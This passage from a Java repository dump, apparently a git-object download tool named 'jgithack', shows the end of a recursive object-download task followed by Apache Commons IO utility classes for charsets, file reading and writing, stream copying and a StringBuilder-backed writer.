295 | private class ObjectDownload implements Runnable {
296 | private String sha1;
297 | private AtomicInteger taskCount;
298 | private ConcurrentMap result;
299 |
300 | public ObjectDownload(String sha1, AtomicInteger taskCount,
301 | ConcurrentMap result) {
302 | this.sha1 = sha1;
303 | this.taskCount = taskCount;
304 | this.result = result;
305 | }
306 |
307 | @Override
308 | public void run() {
309 | try {
310 | String objectPath = downloadObject(sha1);
311 | if (StringUtil.isNotBlank(objectPath)) {
312 | for (String sha1 : ObjectParse.load(objectPath).findRelatedSha1()) {
313 | startObjectDownload(sha1, taskCount, result);
314 | }
315 | }
316 | result.put(sha1, new NotException());
317 | } catch (IOException exception) {
318 | LogUtils.error(exception, "ObjectDownload detect error! sha1: %s", sha1);
319 | result.put(sha1, exception);
320 | } finally {
321 | taskCount.getAndDecrement();
322 | }
323 | }
324 | }
325 | }
326 |
--------------------------------------------------------------------------------
/src/java/com/jgithack/io/Charsets.java:
--------------------------------------------------------------------------------
1 | /**
2 | * Licensed to the Apache Software Foundation (ASF) under one or more
3 | * contributor license agreements. See the NOTICE file distributed with
4 | * this work for additional information regarding copyright ownership.
5 | * The ASF licenses this file to You under the Apache License, Version 2.0
6 | * (the "License"); you may not use this file except in compliance with
7 | * the License. You may obtain a copy of the License at
8 | *
9 | * http://www.apache.org/licenses/LICENSE-2.0
10 | *
11 | * Unless required by applicable law or agreed to in writing, software
12 | * distributed under the License is distributed on an "AS IS" BASIS,
13 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
14 | * See the License for the specific language governing permissions and
15 | * limitations under the License.
16 | */
17 | package com.jgithack.io;
18 |
19 | import java.nio.charset.Charset;
20 |
21 | /**
22 | * Charsets required of every implementation of the Java platform.
23 | *
24 | * From the Java documentation
25 | * Standard charsets:
26 | *
27 | * Every implementation of the Java platform is required to support the following character encodings. Consult the
28 | * release documentation for your implementation to see if any other encodings are supported. Consult the release
29 | * documentation for your implementation to see if any other encodings are supported.
30 | *
31 | *
32 | *
33 | * US-ASCII
34 | * Seven-bit ASCII, a.k.a. ISO646-US, a.k.a. the Basic Latin block of the Unicode character set.
35 | * ISO-8859-1
36 | * ISO Latin Alphabet No. 1, a.k.a. ISO-LATIN-1.
37 | * UTF-8
38 | * Eight-bit Unicode Transformation Format.
39 | * UTF-16BE
40 | * Sixteen-bit Unicode Transformation Format, big-endian byte order.
41 | * UTF-16LE
42 | * Sixteen-bit Unicode Transformation Format, little-endian byte order.
43 | * UTF-16
44 | * Sixteen-bit Unicode Transformation Format, byte order specified by a mandatory initial byte-order mark (either order
45 | * accepted on input, big-endian used on output.)
46 | *
47 | *
48 | * @see Standard charsets
49 | * @since 2.3
50 | * @version $Id: Charsets.java 1311751 2012-04-10 14:26:21Z ggregory $
51 | */
52 | public class Charsets {
53 | //
54 | // This class should only contain Charset instances for required encodings. This guarantees that it will load
55 | // correctly and without delay on all Java platforms.
56 | //
57 |
58 | /**
59 | * Returns the given Charset or the default Charset if the given Charset is null.
60 | *
61 | * @param charset
62 | * A charset or null.
63 | * @return the given Charset or the default Charset if the given Charset is null
64 | */
65 | public static Charset toCharset(Charset charset) {
66 | return charset == null ? Charset.defaultCharset() : charset;
67 | }
68 |
69 | /**
70 | * CharEncodingISO Latin Alphabet No. 1, a.k.a. ISO-LATIN-1.
71 | *
72 | * Every implementation of the Java platform is required to support this character encoding.
73 | *
74 | *
75 | * @see Standard charsets
76 | */
77 | public static final Charset ISO_8859_1 = Charset.forName("ISO-8859-1");
78 |
79 | /**
80 | *
81 | * Seven-bit ASCII, also known as ISO646-US, also known as the Basic Latin block of the Unicode character set.
82 | *
83 | *
84 | * Every implementation of the Java platform is required to support this character encoding.
85 | *
86 | *
87 | * @see Standard charsets
88 | */
89 | public static final Charset US_ASCII = Charset.forName("US-ASCII");
90 |
91 | /**
92 | *
93 | * Sixteen-bit Unicode Transformation Format, The byte order specified by a mandatory initial byte-order mark
94 | * (either order accepted on input, big-endian used on output)
95 | *
96 | *
97 | * Every implementation of the Java platform is required to support this character encoding.
98 | *
99 | *
100 | * @see Standard charsets
101 | */
102 | public static final Charset UTF_16 = Charset.forName("UTF-16");
103 |
104 | /**
105 | *
106 | * Sixteen-bit Unicode Transformation Format, big-endian byte order.
107 | *
108 | *
109 | * Every implementation of the Java platform is required to support this character encoding.
110 | *
111 | *
112 | * @see Standard charsets
113 | */
114 | public static final Charset UTF_16BE = Charset.forName("UTF-16BE");
115 |
116 | /**
117 | *
118 | * Sixteen-bit Unicode Transformation Format, little-endian byte order.
119 | *
120 | *
121 | * Every implementation of the Java platform is required to support this character encoding.
122 | *
123 | *
124 | * @see Standard charsets
125 | */
126 | public static final Charset UTF_16LE = Charset.forName("UTF-16LE");
127 |
128 | /**
129 | *
130 | * Eight-bit Unicode Transformation Format.
131 | *
132 | *
133 | * Every implementation of the Java platform is required to support this character encoding.
134 | *
135 | *
136 | * @see Standard charsets
137 | */
138 | public static final Charset UTF_8 = Charset.forName("UTF-8");
139 | }
140 |
--------------------------------------------------------------------------------
/src/java/com/jgithack/io/FileUtils.java:
--------------------------------------------------------------------------------
1 | /**
2 | * Licensed to the Apache Software Foundation (ASF) under one or more
3 | * contributor license agreements. See the NOTICE file distributed with
4 | * this work for additional information regarding copyright ownership.
5 | * The ASF licenses this file to You under the Apache License, Version 2.0
6 | * (the "License"); you may not use this file except in compliance with
7 | * the License. You may obtain a copy of the License at
8 | *
9 | * http://www.apache.org/licenses/LICENSE-2.0
10 | *
11 | * Unless required by applicable law or agreed to in writing, software
12 | * distributed under the License is distributed on an "AS IS" BASIS,
13 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
14 | * See the License for the specific language governing permissions and
15 | * limitations under the License.
16 | */
17 | package com.jgithack.io;
18 |
19 | import java.io.File;
20 | import java.io.FileInputStream;
21 | import java.io.FileNotFoundException;
22 | import java.io.FileOutputStream;
23 | import java.io.IOException;
24 | import java.io.InputStream;
25 | import java.io.OutputStream;
26 | import java.nio.charset.Charset;
27 | import java.util.List;
28 |
29 | /**
30 | * General file manipulation utilities.
31 | *
32 | * Facilities are provided in the following areas:
33 | *
34 | * - writing to a file
35 | *
- reading from a file
36 | *
- make a directory including parent directories
37 | *
- copying files and directories
38 | *
- deleting files and directories
39 | *
- converting to and from a URL
40 | *
- listing files and directories by filter and extension
41 | *
- comparing file content
42 | *
- file last changed date
43 | *
- calculating a checksum
44 | *
45 | *
46 | * Origin of code: Excalibur, Alexandria, Commons-Utils
47 | *
48 | * @version $Id: FileUtils.java 1349509 2012-06-12 20:39:23Z ggregory $
49 | */
50 | public class FileUtils {
51 | //-----------------------------------------------------------------------
52 | /**
53 | * Opens a {@link FileInputStream} for the specified file, providing better
54 | * error messages than simply calling new FileInputStream(file)
.
55 | *
56 | * At the end of the method either the stream will be successfully opened,
57 | * or an exception will have been thrown.
58 | *
59 | * An exception is thrown if the file does not exist.
60 | * An exception is thrown if the file object exists but is a directory.
61 | * An exception is thrown if the file exists but cannot be read.
62 | *
63 | * @param file the file to open for input, must not be {@code null}
64 | * @return a new {@link FileInputStream} for the specified file
65 | * @throws FileNotFoundException if the file does not exist
66 | * @throws IOException if the file object is a directory
67 | * @throws IOException if the file cannot be read
68 | * @since 1.3
69 | */
70 | public static FileInputStream openInputStream(File file) throws IOException {
71 | if (file.exists()) {
72 | if (file.isDirectory()) {
73 | throw new IOException("File '" + file + "' exists but is a directory");
74 | }
75 | if (file.canRead() == false) {
76 | throw new IOException("File '" + file + "' cannot be read");
77 | }
78 | } else {
79 | throw new FileNotFoundException("File '" + file + "' does not exist");
80 | }
81 | return new FileInputStream(file);
82 | }
83 |
84 | /**
85 | * Opens a {@link FileOutputStream} for the specified file, checking and
86 | * creating the parent directory if it does not exist.
87 | *
88 | * At the end of the method either the stream will be successfully opened,
89 | * or an exception will have been thrown.
90 | *
91 | * The parent directory will be created if it does not exist.
92 | * The file will be created if it does not exist.
93 | * An exception is thrown if the file object exists but is a directory.
94 | * An exception is thrown if the file exists but cannot be written to.
95 | * An exception is thrown if the parent directory cannot be created.
96 | *
97 | * @param file the file to open for output, must not be {@code null}
98 | * @param append if {@code true}, then bytes will be added to the
99 | * end of the file rather than overwriting
100 | * @return a new {@link FileOutputStream} for the specified file
101 | * @throws IOException if the file object is a directory
102 | * @throws IOException if the file cannot be written to
103 | * @throws IOException if a parent directory needs creating but that fails
104 | * @since 2.1
105 | */
106 | public static FileOutputStream openOutputStream(File file, boolean append) throws IOException {
107 | if (file.exists()) {
108 | if (file.isDirectory()) {
109 | throw new IOException("File '" + file + "' exists but is a directory");
110 | }
111 | if (file.canWrite() == false) {
112 | throw new IOException("File '" + file + "' cannot be written to");
113 | }
114 | } else {
115 | File parent = file.getParentFile();
116 | if (parent != null) {
117 | if (!parent.mkdirs() && !parent.isDirectory()) {
118 | throw new IOException("Directory '" + parent + "' could not be created");
119 | }
120 | }
121 | }
122 | return new FileOutputStream(file, append);
123 | }
124 |
125 | //-----------------------------------------------------------------------
126 | /**
127 | * Reads the contents of a file into a String.
128 | * The file is always closed.
129 | *
130 | * @param file the file to read, must not be {@code null}
131 | * @param encoding the encoding to use, {@code null} means platform default
132 | * @return the file contents, never {@code null}
133 | * @throws IOException in case of an I/O error
134 | * @since 2.3
135 | */
136 | public static String readFileToString(File file, Charset encoding) throws IOException {
137 | InputStream in = null;
138 | try {
139 | in = openInputStream(file);
140 | return IOUtils.toString(in, Charsets.toCharset(encoding));
141 | } finally {
142 | IOUtils.closeQuietly(in);
143 | }
144 | }
145 |
146 | /**
147 | * Reads the contents of a file into a String using the default encoding for the VM.
148 | * The file is always closed.
149 | *
150 | * @param file the file to read, must not be {@code null}
151 | * @return the file contents, never {@code null}
152 | * @throws IOException in case of an I/O error
153 | * @since 1.3.1
154 | */
155 | public static String readFileToString(File file) throws IOException {
156 | return readFileToString(file, Charset.defaultCharset());
157 | }
158 |
159 | /**
160 | * Reads the contents of a file into a byte array.
161 | * The file is always closed.
162 | *
163 | * @param file the file to read, must not be {@code null}
164 | * @return the file contents, never {@code null}
165 | * @throws IOException in case of an I/O error
166 | * @since 1.1
167 | */
168 | public static byte[] readFileToByteArray(File file) throws IOException {
169 | InputStream in = null;
170 | try {
171 | in = openInputStream(file);
172 | return IOUtils.toByteArray(in, file.length());
173 | } finally {
174 | IOUtils.closeQuietly(in);
175 | }
176 | }
177 |
178 | /**
179 | * Reads the contents of a file line by line to a List of Strings.
180 | * The file is always closed.
181 | *
182 | * @param file the file to read, must not be {@code null}
183 | * @param encoding the encoding to use, {@code null} means platform default
184 | * @return the list of Strings representing each line in the file, never {@code null}
185 | * @throws IOException in case of an I/O error
186 | * @since 2.3
187 | */
188 | public static List readLines(File file, Charset encoding) throws IOException {
189 | InputStream in = null;
190 | try {
191 | in = openInputStream(file);
192 | return IOUtils.readLines(in, Charsets.toCharset(encoding));
193 | } finally {
194 | IOUtils.closeQuietly(in);
195 | }
196 | }
197 |
198 | /**
199 | * Reads the contents of a file line by line to a List of Strings using the default encoding for the VM.
200 | * The file is always closed.
201 | *
202 | * @param file the file to read, must not be {@code null}
203 | * @return the list of Strings representing each line in the file, never {@code null}
204 | * @throws IOException in case of an I/O error
205 | * @since 1.3
206 | */
207 | public static List readLines(File file) throws IOException {
208 | return readLines(file, Charset.defaultCharset());
209 | }
210 |
211 | /**
212 | * Writes a String to a file creating the file if it does not exist.
213 | *
214 | * @param file the file to write
215 | * @param data the content to write to the file
216 | * @param encoding the encoding to use, {@code null} means platform default
217 | * @param append if {@code true}, then the String will be added to the
218 | * end of the file rather than overwriting
219 | * @throws IOException in case of an I/O error
220 | * @since 2.3
221 | */
222 | public static void writeStringToFile(File file, String data, Charset encoding, boolean append)
223 | throws IOException {
224 | OutputStream out = null;
225 | try {
226 | out = openOutputStream(file, append);
227 | IOUtils.write(data, out, encoding);
228 | out.close(); // don't swallow close Exception if copy completes normally
229 | } finally {
230 | IOUtils.closeQuietly(out);
231 | }
232 | }
233 |
234 | /**
235 | * Writes a String to a file creating the file if it does not exist using the default encoding for the VM.
236 | *
237 | * @param file the file to write
238 | * @param data the content to write to the file
239 | * @throws IOException in case of an I/O error
240 | */
241 | public static void writeStringToFile(File file, String data) throws IOException {
242 | writeStringToFile(file, data, Charset.defaultCharset(), false);
243 | }
244 |
245 | /**
246 | * Writes a byte array to a file creating the file if it does not exist.
247 | *
248 | * @param file the file to write to
249 | * @param data the content to write to the file
250 | * @param append if {@code true}, then bytes will be added to the
251 | * end of the file rather than overwriting
252 | * @throws IOException in case of an I/O error
253 | * @since IO 2.1
254 | */
255 | public static void writeByteArrayToFile(File file, byte[] data, boolean append)
256 | throws IOException {
257 | OutputStream out = null;
258 | try {
259 | out = openOutputStream(file, append);
260 | out.write(data);
261 | out.close(); // don't swallow close Exception if copy completes normally
262 | } finally {
263 | IOUtils.closeQuietly(out);
264 | }
265 | }
266 | }
267 |
--------------------------------------------------------------------------------
/src/java/com/jgithack/io/IOUtils.java:
--------------------------------------------------------------------------------
1 | /**
2 | * Licensed to the Apache Software Foundation (ASF) under one or more
3 | * contributor license agreements. See the NOTICE file distributed with
4 | * this work for additional information regarding copyright ownership.
5 | * The ASF licenses this file to You under the Apache License, Version 2.0
6 | * (the "License"); you may not use this file except in compliance with
7 | * the License. You may obtain a copy of the License at
8 | *
9 | * http://www.apache.org/licenses/LICENSE-2.0
10 | *
11 | * Unless required by applicable law or agreed to in writing, software
12 | * distributed under the License is distributed on an "AS IS" BASIS,
13 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
14 | * See the License for the specific language governing permissions and
15 | * limitations under the License.
16 | */
17 | package com.jgithack.io;
18 |
19 | import java.io.BufferedReader;
20 | import java.io.Closeable;
21 | import java.io.IOException;
22 | import java.io.InputStream;
23 | import java.io.InputStreamReader;
24 | import java.io.OutputStream;
25 | import java.io.Reader;
26 | import java.io.Writer;
27 | import java.nio.charset.Charset;
28 | import java.util.ArrayList;
29 | import java.util.List;
30 |
31 | /**
32 | * General IO stream manipulation utilities.
33 | *
34 | * This class provides static utility methods for input/output operations.
35 | *
36 | * - closeQuietly - these methods close a stream ignoring nulls and exceptions
37 | *
- toXxx/read - these methods read data from a stream
38 | *
- write - these methods write data to a stream
39 | *
- copy - these methods copy all the data from one stream to another
40 | *
- contentEquals - these methods compare the content of two streams
41 | *
42 | *
43 | * The byte-to-char methods and char-to-byte methods involve a conversion step.
44 | * Two methods are provided in each case, one that uses the platform default
45 | * encoding and the other which allows you to specify an encoding. You are
46 | * encouraged to always specify an encoding because relying on the platform
47 | * default can lead to unexpected results, for example when moving from
48 | * development to production.
49 | *
50 | * All the methods in this class that read a stream are buffered internally.
51 | * This means that there is no cause to use a BufferedInputStream
52 | * or BufferedReader
. The default buffer size of 4K has been shown
53 | * to be efficient in tests.
54 | *
55 | * Wherever possible, the methods in this class do not flush or close
56 | * the stream. This is to avoid making non-portable assumptions about the
57 | * streams' origin and further use. Thus the caller is still responsible for
58 | * closing streams after use.
59 | *
60 | * Origin of code: Excalibur.
61 | *
62 | * @version $Id: IOUtils.java 1326636 2012-04-16 14:54:53Z ggregory $
63 | */
64 | public class IOUtils {
65 | // NOTE: This class is focussed on InputStream, OutputStream, Reader and
66 | // Writer. Each method should take at least one of these as a parameter,
67 | // or return one of them.
68 |
69 | private static final int EOF = -1;
70 |
71 | /**
72 | * The default buffer size ({@value}) to use for
73 | * {@link #copyLarge(InputStream, OutputStream)}
74 | * and
75 | * {@link #copyLarge(Reader, Writer)}
76 | */
77 | private static final int DEFAULT_BUFFER_SIZE = 1024 * 4;
78 |
79 | /**
80 | * Unconditionally close an InputStream
.
81 | *
82 | * Equivalent to {@link InputStream#close()}, except any exceptions will be ignored.
83 | * This is typically used in finally blocks.
84 | *
85 | * Example code:
86 | *
87 | * byte[] data = new byte[1024];
88 | * InputStream in = null;
89 | * try {
90 | * in = new FileInputStream("foo.txt");
91 | * in.read(data);
92 | * in.close(); //close errors are handled
93 | * } catch (Exception e) {
94 | * // error handling
95 | * } finally {
96 | * IOUtils.closeQuietly(in);
97 | * }
98 | *
99 | *
100 | * @param input the InputStream to close, may be null or already closed
101 | */
102 | public static void closeQuietly(InputStream input) {
103 | closeQuietly((Closeable) input);
104 | }
105 |
106 | /**
107 | * Unconditionally close an OutputStream
.
108 | *
109 | * Equivalent to {@link OutputStream#close()}, except any exceptions will be ignored.
110 | * This is typically used in finally blocks.
111 | *
112 | * Example code:
113 | *
114 | * byte[] data = "Hello, World".getBytes();
115 | *
116 | * OutputStream out = null;
117 | * try {
118 | * out = new FileOutputStream("foo.txt");
119 | * out.write(data);
120 | * out.close(); //close errors are handled
121 | * } catch (IOException e) {
122 | * // error handling
123 | * } finally {
124 | * IOUtils.closeQuietly(out);
125 | * }
126 | *
127 | *
128 | * @param output the OutputStream to close, may be null or already closed
129 | */
130 | public static void closeQuietly(OutputStream output) {
131 | closeQuietly((Closeable) output);
132 | }
133 |
134 | /**
135 | * Unconditionally close a Closeable
.
136 | *
137 | * Equivalent to {@link Closeable#close()}, except any exceptions will be ignored.
138 | * This is typically used in finally blocks.
139 | *
140 | * Example code:
141 | *
142 | * Closeable closeable = null;
143 | * try {
144 | * closeable = new FileReader("foo.txt");
145 | * // process closeable
146 | * closeable.close();
147 | * } catch (Exception e) {
148 | * // error handling
149 | * } finally {
150 | * IOUtils.closeQuietly(closeable);
151 | * }
152 | *
153 | *
154 | * @param closeable the object to close, may be null or already closed
155 | * @since 2.0
156 | */
157 | public static void closeQuietly(Closeable closeable) {
158 | try {
159 | if (closeable != null) {
160 | closeable.close();
161 | }
162 | } catch (IOException ioe) {
163 | // ignore
164 | }
165 | }
166 |
167 | /**
168 | * Returns the given reader if it is a {@link BufferedReader}, otherwise creates a toBufferedReader for the given
169 | * reader.
170 | *
171 | * @param reader
172 | * the reader to wrap or return
173 | * @return the given reader or a new {@link BufferedReader} for the given reader
174 | * @since 2.2
175 | */
176 | public static BufferedReader toBufferedReader(Reader reader) {
177 | return reader instanceof BufferedReader ? (BufferedReader) reader : new BufferedReader(
178 | reader);
179 | }
180 |
181 | /**
182 | * Get contents of an InputStream
as a byte[]
.
183 | * Use this method instead of toByteArray(InputStream)
184 | * when InputStream
size is known.
185 | * NOTE: the method checks that the length can safely be cast to an int without truncation
186 | * before using {@link IOUtils#toByteArray(java.io.InputStream, int)} to read into the byte array.
187 | * (Arrays can have no more than Integer.MAX_VALUE entries anyway)
188 | *
189 | * @param input the InputStream
to read from
190 | * @param size the size of InputStream
191 | * @return the requested byte array
192 | * @throws IOException if an I/O error occurs or InputStream
size differ from parameter size
193 | * @throws IllegalArgumentException if size is less than zero or size is greater than Integer.MAX_VALUE
194 | * @see IOUtils#toByteArray(java.io.InputStream, int)
195 | * @since 2.1
196 | */
197 | public static byte[] toByteArray(InputStream input, long size) throws IOException {
198 |
199 | if (size > Integer.MAX_VALUE) {
200 | throw new IllegalArgumentException("Size cannot be greater than Integer max value: "
201 | + size);
202 | }
203 |
204 | return toByteArray(input, (int) size);
205 | }
206 |
207 | /**
208 | * Get the contents of an InputStream
as a byte[]
.
209 | * Use this method instead of toByteArray(InputStream)
210 | * when InputStream
size is known
211 | * @param input the InputStream
to read from
212 | * @param size the size of InputStream
213 | * @return the requested byte array
214 | * @throws IOException if an I/O error occurs or InputStream
size differ from parameter size
215 | * @throws IllegalArgumentException if size is less than zero
216 | * @since 2.1
217 | */
218 | public static byte[] toByteArray(InputStream input, int size) throws IOException {
219 |
220 | if (size < 0) {
221 | throw new IllegalArgumentException("Size must be equal or greater than zero: " + size);
222 | }
223 |
224 | if (size == 0) {
225 | return new byte[0];
226 | }
227 |
228 | byte[] data = new byte[size];
229 | int offset = 0;
230 | int readed;
231 |
232 | while (offset < size && (readed = input.read(data, offset, size - offset)) != EOF) {
233 | offset += readed;
234 | }
235 |
236 | if (offset != size) {
237 | throw new IOException("Unexpected readed size. current: " + offset + ", excepted: "
238 | + size);
239 | }
240 |
241 | return data;
242 | }
243 |
244 | /**
245 | * Get the contents of an InputStream
as a String
246 | * using the specified character encoding.
247 | *
248 | * This method buffers the input internally, so there is no need to use a
249 | * BufferedInputStream
.
250 | *
251 | * @param input the InputStream
to read from
252 | * @param encoding the encoding to use, null means platform default
253 | * @return the requested String
254 | * @throws NullPointerException if the input is null
255 | * @throws IOException if an I/O error occurs
256 | * @since 2.3
257 | */
258 | public static String toString(InputStream input, Charset encoding) throws IOException {
259 | StringBuilderWriter sw = new StringBuilderWriter();
260 | copy(input, sw, encoding);
261 | return sw.toString();
262 | }
263 |
264 | /**
265 | * Get the contents of an InputStream
as a list of Strings,
266 | * one entry per line, using the specified character encoding.
267 | *
268 | * This method buffers the input internally, so there is no need to use a
269 | * BufferedInputStream
.
270 | *
271 | * @param input the InputStream
to read from, not null
272 | * @param encoding the encoding to use, null means platform default
273 | * @return the list of Strings, never null
274 | * @throws NullPointerException if the input is null
275 | * @throws IOException if an I/O error occurs
276 | * @since 2.3
277 | */
278 | public static List readLines(InputStream input, Charset encoding) throws IOException {
279 | InputStreamReader reader = new InputStreamReader(input, Charsets.toCharset(encoding));
280 | return readLines(reader);
281 | }
282 |
283 | /**
284 | * Get the contents of a Reader
as a list of Strings,
285 | * one entry per line.
286 | *
287 | * This method buffers the input internally, so there is no need to use a
288 | * BufferedReader
.
289 | *
290 | * @param input the Reader
to read from, not null
291 | * @return the list of Strings, never null
292 | * @throws NullPointerException if the input is null
293 | * @throws IOException if an I/O error occurs
294 | * @since 1.1
295 | */
296 | public static List readLines(Reader input) throws IOException {
297 | BufferedReader reader = toBufferedReader(input);
298 | List list = new ArrayList();
299 | String line = reader.readLine();
300 | while (line != null) {
301 | list.add(line);
302 | line = reader.readLine();
303 | }
304 | return list;
305 | }
306 |
307 | /**
308 | * Writes chars from a String
to bytes on an
309 | * OutputStream
using the specified character encoding.
310 | *
311 | * This method uses {@link String#getBytes(String)}.
312 | *
313 | * @param data the String
to write, null ignored
314 | * @param output the OutputStream
to write to
315 | * @param encoding the encoding to use, null means platform default
316 | * @throws NullPointerException if output is null
317 | * @throws IOException if an I/O error occurs
318 | * @since 2.3
319 | */
320 | public static void write(String data, OutputStream output, Charset encoding) throws IOException {
321 | if (data != null) {
322 | output.write(data.getBytes(Charsets.toCharset(encoding)));
323 | }
324 | }
325 |
326 | /**
327 | * Copy bytes from an InputStream
to chars on a
328 | * Writer
using the specified character encoding.
329 | *
330 | * This method buffers the input internally, so there is no need to use a
331 | * BufferedInputStream
.
332 | *
333 | * This method uses {@link InputStreamReader}.
334 | *
335 | * @param input the InputStream
to read from
336 | * @param output the Writer
to write to
337 | * @param encoding the encoding to use, null means platform default
338 | * @throws NullPointerException if the input or output is null
339 | * @throws IOException if an I/O error occurs
340 | * @since 2.3
341 | */
342 | public static void copy(InputStream input, Writer output, Charset encoding) throws IOException {
343 | InputStreamReader in = new InputStreamReader(input, Charsets.toCharset(encoding));
344 | copy(in, output);
345 | }
346 |
347 | // copy from Reader
348 | //-----------------------------------------------------------------------
349 | /**
350 | * Copy chars from a Reader
to a Writer
.
351 | *
352 | * This method buffers the input internally, so there is no need to use a
353 | * BufferedReader
.
354 | *
355 | * Large streams (over 2GB) will return a chars copied value of
356 | * -1
after the copy has completed since the correct
357 | * number of chars cannot be returned as an int. For large streams
358 | * use the copyLarge(Reader, Writer)
method.
359 | *
360 | * @param input the Reader
to read from
361 | * @param output the Writer
to write to
362 | * @return the number of characters copied, or -1 if > Integer.MAX_VALUE
363 | * @throws NullPointerException if the input or output is null
364 | * @throws IOException if an I/O error occurs
365 | * @since 1.1
366 | */
367 | public static int copy(Reader input, Writer output) throws IOException {
368 | long count = copyLarge(input, output);
369 | if (count > Integer.MAX_VALUE) {
370 | return -1;
371 | }
372 | return (int) count;
373 | }
374 |
375 | /**
376 | * Copy chars from a large (over 2GB) Reader
to a Writer
.
377 | *
378 | * This method buffers the input internally, so there is no need to use a
379 | * BufferedReader
.
380 | *
381 | * The buffer size is given by {@link #DEFAULT_BUFFER_SIZE}.
382 | *
383 | * @param input the Reader
to read from
384 | * @param output the Writer
to write to
385 | * @return the number of characters copied
386 | * @throws NullPointerException if the input or output is null
387 | * @throws IOException if an I/O error occurs
388 | * @since 1.3
389 | */
390 | public static long copyLarge(Reader input, Writer output) throws IOException {
391 | return copyLarge(input, output, new char[DEFAULT_BUFFER_SIZE]);
392 | }
393 |
394 | /**
395 | * Copy chars from a large (over 2GB) Reader
to a Writer
.
396 | *
397 | * This method uses the provided buffer, so there is no need to use a
398 | * BufferedReader
.
399 | *
400 | *
401 | * @param input the Reader
to read from
402 | * @param output the Writer
to write to
403 | * @param buffer the buffer to be used for the copy
404 | * @return the number of characters copied
405 | * @throws NullPointerException if the input or output is null
406 | * @throws IOException if an I/O error occurs
407 | * @since 2.2
408 | */
409 | public static long copyLarge(Reader input, Writer output, char[] buffer) throws IOException {
410 | long count = 0;
411 | int n = 0;
412 | while (EOF != (n = input.read(buffer))) {
413 | output.write(buffer, 0, n);
414 | count += n;
415 | }
416 | return count;
417 | }
418 | }
419 |
--------------------------------------------------------------------------------
/src/java/com/jgithack/io/StringBuilderWriter.java:
--------------------------------------------------------------------------------
1 | /**
2 | * Licensed to the Apache Software Foundation (ASF) under one or more
3 | * contributor license agreements. See the NOTICE file distributed with
4 | * this work for additional information regarding copyright ownership.
5 | * The ASF licenses this file to You under the Apache License, Version 2.0
6 | * (the "License"); you may not use this file except in compliance with
7 | * the License. You may obtain a copy of the License at
8 | *
9 | * http://www.apache.org/licenses/LICENSE-2.0
10 | *
11 | * Unless required by applicable law or agreed to in writing, software
12 | * distributed under the License is distributed on an "AS IS" BASIS,
13 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
14 | * See the License for the specific language governing permissions and
15 | * limitations under the License.
16 | */
17 | package com.jgithack.io;
18 |
19 | import java.io.Serializable;
20 | import java.io.Writer;
21 |
22 | /**
23 | * {@link Writer} implementation that outputs to a {@link StringBuilder}.
24 | *
25 | * NOTE: This implementation, as an alternative to
26 | * java.io.StringWriter
, provides an un-synchronized
27 | * (i.e. for use in a single thread) implementation for better performance.
28 | * For safe usage with multiple {@link Thread}s then
29 | * java.io.StringWriter
should be used.
30 | *
31 | * @version $Id: StringBuilderWriter.java 1304052 2012-03-22 20:55:29Z ggregory $
32 | * @since 2.0
33 | */
34 | public class StringBuilderWriter extends Writer implements Serializable {
35 | /** serial-number */
36 | private static final long serialVersionUID = 4763830082497156825L;
37 |
38 | private final StringBuilder builder;
39 |
40 | /**
41 | * Construct a new {@link StringBuilder} instance with default capacity.
42 | */
43 | public StringBuilderWriter() {
44 | this.builder = new StringBuilder();
45 | }
46 |
47 | /**
48 | * Construct a new {@link StringBuilder} instance with the specified capacity.
49 | *
50 | * @param capacity The initial capacity of the underlying {@link StringBuilder}
51 | */
52 | public StringBuilderWriter(int capacity) {
53 | this.builder = new StringBuilder(capacity);
54 | }
55 |
56 | /**
57 | * Construct a new instance with the specified {@link StringBuilder}.
58 | *
59 | * @param builder The String builder
60 | */
61 | public StringBuilderWriter(StringBuilder builder) {
62 | this.builder = builder != null ? builder : new StringBuilder();
63 | }
64 |
65 | /**
66 | * Append a single character to this Writer.
67 | *
68 | * @param value The character to append
69 | * @return This writer instance
70 | */
71 | @Override
72 | public Writer append(char value) {
73 | builder.append(value);
74 | return this;
75 | }
76 |
77 | /**
78 | * Append a character sequence to this Writer.
79 | *
80 | * @param value The character to append
81 | * @return This writer instance
82 | */
83 | @Override
84 | public Writer append(CharSequence value) {
85 | builder.append(value);
86 | return this;
87 | }
88 |
89 | /**
90 | * Append a portion of a character sequence to the {@link StringBuilder}.
91 | *
92 | * @param value The character to append
93 | * @param start The index of the first character
94 | * @param end The index of the last character + 1
95 | * @return This writer instance
96 | */
97 | @Override
98 | public Writer append(CharSequence value, int start, int end) {
99 | builder.append(value, start, end);
100 | return this;
101 | }
102 |
103 | /**
104 | * Closing this writer has no effect.
105 | */
106 | @Override
107 | public void close() {
108 | }
109 |
110 | /**
111 | * Flushing this writer has no effect.
112 | */
113 | @Override
114 | public void flush() {
115 | }
116 |
117 | /**
118 | * Write a String to the {@link StringBuilder}.
119 | *
120 | * @param value The value to write
121 | */
122 | @Override
123 | public void write(String value) {
124 | if (value != null) {
125 | builder.append(value);
126 | }
127 | }
128 |
129 | /**
130 | * Write a portion of a character array to the {@link StringBuilder}.
131 | *
132 | * @param value The value to write
133 | * @param offset The index of the first character
134 | * @param length The number of characters to write
135 | */
136 | @Override
137 | public void write(char[] value, int offset, int length) {
138 | if (value != null) {
139 | builder.append(value, offset, length);
140 | }
141 | }
142 |
143 | /**
144 | * Return the underlying builder.
145 | *
146 | * @return The underlying builder
147 | */
148 | public StringBuilder getBuilder() {
149 | return builder;
150 | }
151 |
152 | /**
153 | * Returns {@link StringBuilder#toString()}.
154 | *
155 | * @return The contents of the String builder.
156 | */
157 | @Override
158 | public String toString() {
159 | return builder.toString();
160 | }
161 | }
162 |
--------------------------------------------------------------------------------
/src/java/com/jgithack/lang/StringUtil.java:
--------------------------------------------------------------------------------
1 | /**
2 | * JHack.net
3 | * Copyright (c) 2004-2016 All Rights Reserved.
4 | */
5 | package com.jgithack.lang;
6 |
7 | /**
8 | * StringUtil
9 | *
10 | * @author Albert Wang
11 | * @version $Id: StringUtil.java, V0.1 Oct 30, 2016 1:35:21 AM jawangwen@qq.com $
12 | */
13 | public class StringUtil {
14 | /**
15 | * A String for a space character.
16 | *
17 | * @since 3.2
18 | */
19 | public static final String SPACE = " ";
20 |
21 | /**
22 | * The empty String {@code ""}.
23 | * @since 2.0
24 | */
25 | public static final String EMPTY = "";
26 |
27 | /**
28 | * Represents a failed index search.
